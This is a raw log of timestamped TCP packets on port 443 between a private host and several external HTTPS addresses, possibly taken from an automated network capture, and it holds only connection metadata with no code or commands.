Aug 30, 2024 00:19:47.639156103 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.641969919 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.641969919 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.641976118 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.641998053 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.642385960 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.643021107 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.643138885 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.659077883 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.659388065 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.664853096 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.664877892 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.664886951 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.664906979 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.664913893 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.664949894 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.664990902 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.665005922 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.665036917 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.665662050 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.675339937 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.675493956 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.676868916 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.676984072 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.676997900 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.720498085 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.734132051 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.750446081 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.750458002 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.750505924 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.750535011 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.750555038 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.750555038 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.750569105 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.753843069 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.753854036 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.753868103 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.753897905 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.753911972 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.753931046 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.753931046 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.754105091 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.781171083 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.781189919 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.781198025 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.781229019 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.781243086 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.781253099 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.781259060 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.781271935 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.781299114 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.783673048 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.783689976 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.783695936 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.783699036 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.783715010 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.783723116 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.783735037 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.783797026 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.783797026 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.783818007 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.784070015 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.834841013 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.834858894 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.834911108 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.834939957 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.836266041 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.836283922 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.836297035 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.836312056 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.836323977 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.836360931 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.836360931 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.838016033 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.838057041 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.838083982 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.838095903 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.838108063 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.838152885 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.838152885 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.868880987 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.868896961 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.869028091 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.869035959 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.869296074 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.871431112 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.871454000 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.871527910 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.871527910 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.871537924 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.871639967 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.873307943 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.873322964 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.873442888 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.873460054 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.873467922 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.873486042 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.873493910 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.873755932 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.874016047 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.874051094 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.874135017 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.874135017 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.874145031 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.874386072 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.875576973 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.883800983 CEST	49870	443	192.168.2.4	13.107.246.45
Aug 30, 2024 00:19:47.883831024 CEST	443	49870	13.107.246.45	192.168.2.4
Aug 30, 2024 00:19:47.896132946 CEST	49876	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.896156073 CEST	443	49876	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.919267893 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.919296980 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.919352055 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.919805050 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.919815063 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.926254034 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:47.926300049 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:47.928200960 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:47.932076931 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:47.932101965 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:47.958271027 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.958288908 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.958367109 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.958379984 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.958462000 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.958571911 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.960200071 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.960218906 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.960501909 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.960510015 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.960725069 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.962270975 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.962285995 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.962342024 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.962349892 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.962904930 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.964411974 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.964430094 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.964742899 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:47.964751005 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:47.965075970 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.046252966 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.046274900 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.046356916 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.046356916 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.046366930 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.046463013 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.047209024 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.047224998 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.047327995 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.047334909 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.047573090 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.048851967 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.048870087 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.049017906 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.049024105 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.049129963 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.050553083 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.050570011 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.050905943 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.050910950 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.050973892 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.051568031 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.051584005 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.051697969 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.051702976 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.051821947 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.052412033 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.052489996 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.052515030 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.052824020 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.053144932 CEST	49871	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.053163052 CEST	443	49871	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.060471058 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.060516119 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.062330008 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.062330008 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.062364101 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.571611881 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.584561110 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.588401079 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.588406086 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.588722944 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.588740110 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.589406013 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.589457989 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.589900017 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.589947939 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.590025902 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.590074062 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.590445995 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.590507984 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.590800047 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.590804100 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.590859890 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.590864897 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.644248962 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.644253016 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.713380098 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.713411093 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.713418007 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.713438988 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.713449001 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.713459969 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.713463068 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.713474035 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.713495970 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.713521004 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.720257998 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.720287085 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.720293999 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.720320940 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.720336914 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.720346928 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.720361948 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.720367908 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.720372915 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.720382929 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.720407009 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.794764042 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.794786930 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.794855118 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.794862986 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.794897079 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.796860933 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.796884060 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.796911001 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.796921015 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.796950102 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.796953917 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.796976089 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.796989918 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.797049999 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.797616005 CEST	49886	443	192.168.2.4	13.107.246.44
Aug 30, 2024 00:19:48.797630072 CEST	443	49886	13.107.246.44	192.168.2.4
Aug 30, 2024 00:19:48.798408031 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.798602104 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.798626900 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.798672915 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.798702002 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.798737049 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.798770905 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.798783064 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.798808098 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.798994064 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.799319029 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.799387932 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.799442053 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.802504063 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.802522898 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.802556992 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.802565098 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.802603006 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.844499111 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.885817051 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.885843039 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.885874987 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.885889053 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.885909081 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.885934114 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.887701035 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.887720108 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.887756109 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.887762070 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.887799025 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.887810946 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.888740063 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.888777018 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.888797045 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.888802052 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.888840914 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.888842106 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.888879061 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.889264107 CEST	49885	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.889280081 CEST	443	49885	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.911962032 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.911988974 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.912003994 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.912043095 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.912071943 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:48.912092924 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:48.912126064 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.000648975 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.000669003 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.000719070 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.000751019 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.000767946 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.000792980 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.003592968 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.003608942 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.003648043 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.003654957 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.003689051 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.003703117 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.090363979 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.090394974 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.090442896 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.090477943 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.090493917 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.090518951 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.091487885 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.091510057 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.091547012 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.091556072 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.091584921 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.091598034 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.092675924 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.092695951 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.092747927 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.092760086 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.092797995 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.093746901 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.093770981 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.093794107 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.093799114 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.093830109 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.093847036 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.147880077 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:49.147942066 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:49.148037910 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:49.152057886 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:49.152086020 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:49.180998087 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.181019068 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.181087017 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.181087017 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.181118011 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.181207895 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.182030916 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.182046890 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.182145119 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.182156086 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.182404995 CEST	49889	443	192.168.2.4	13.107.246.60
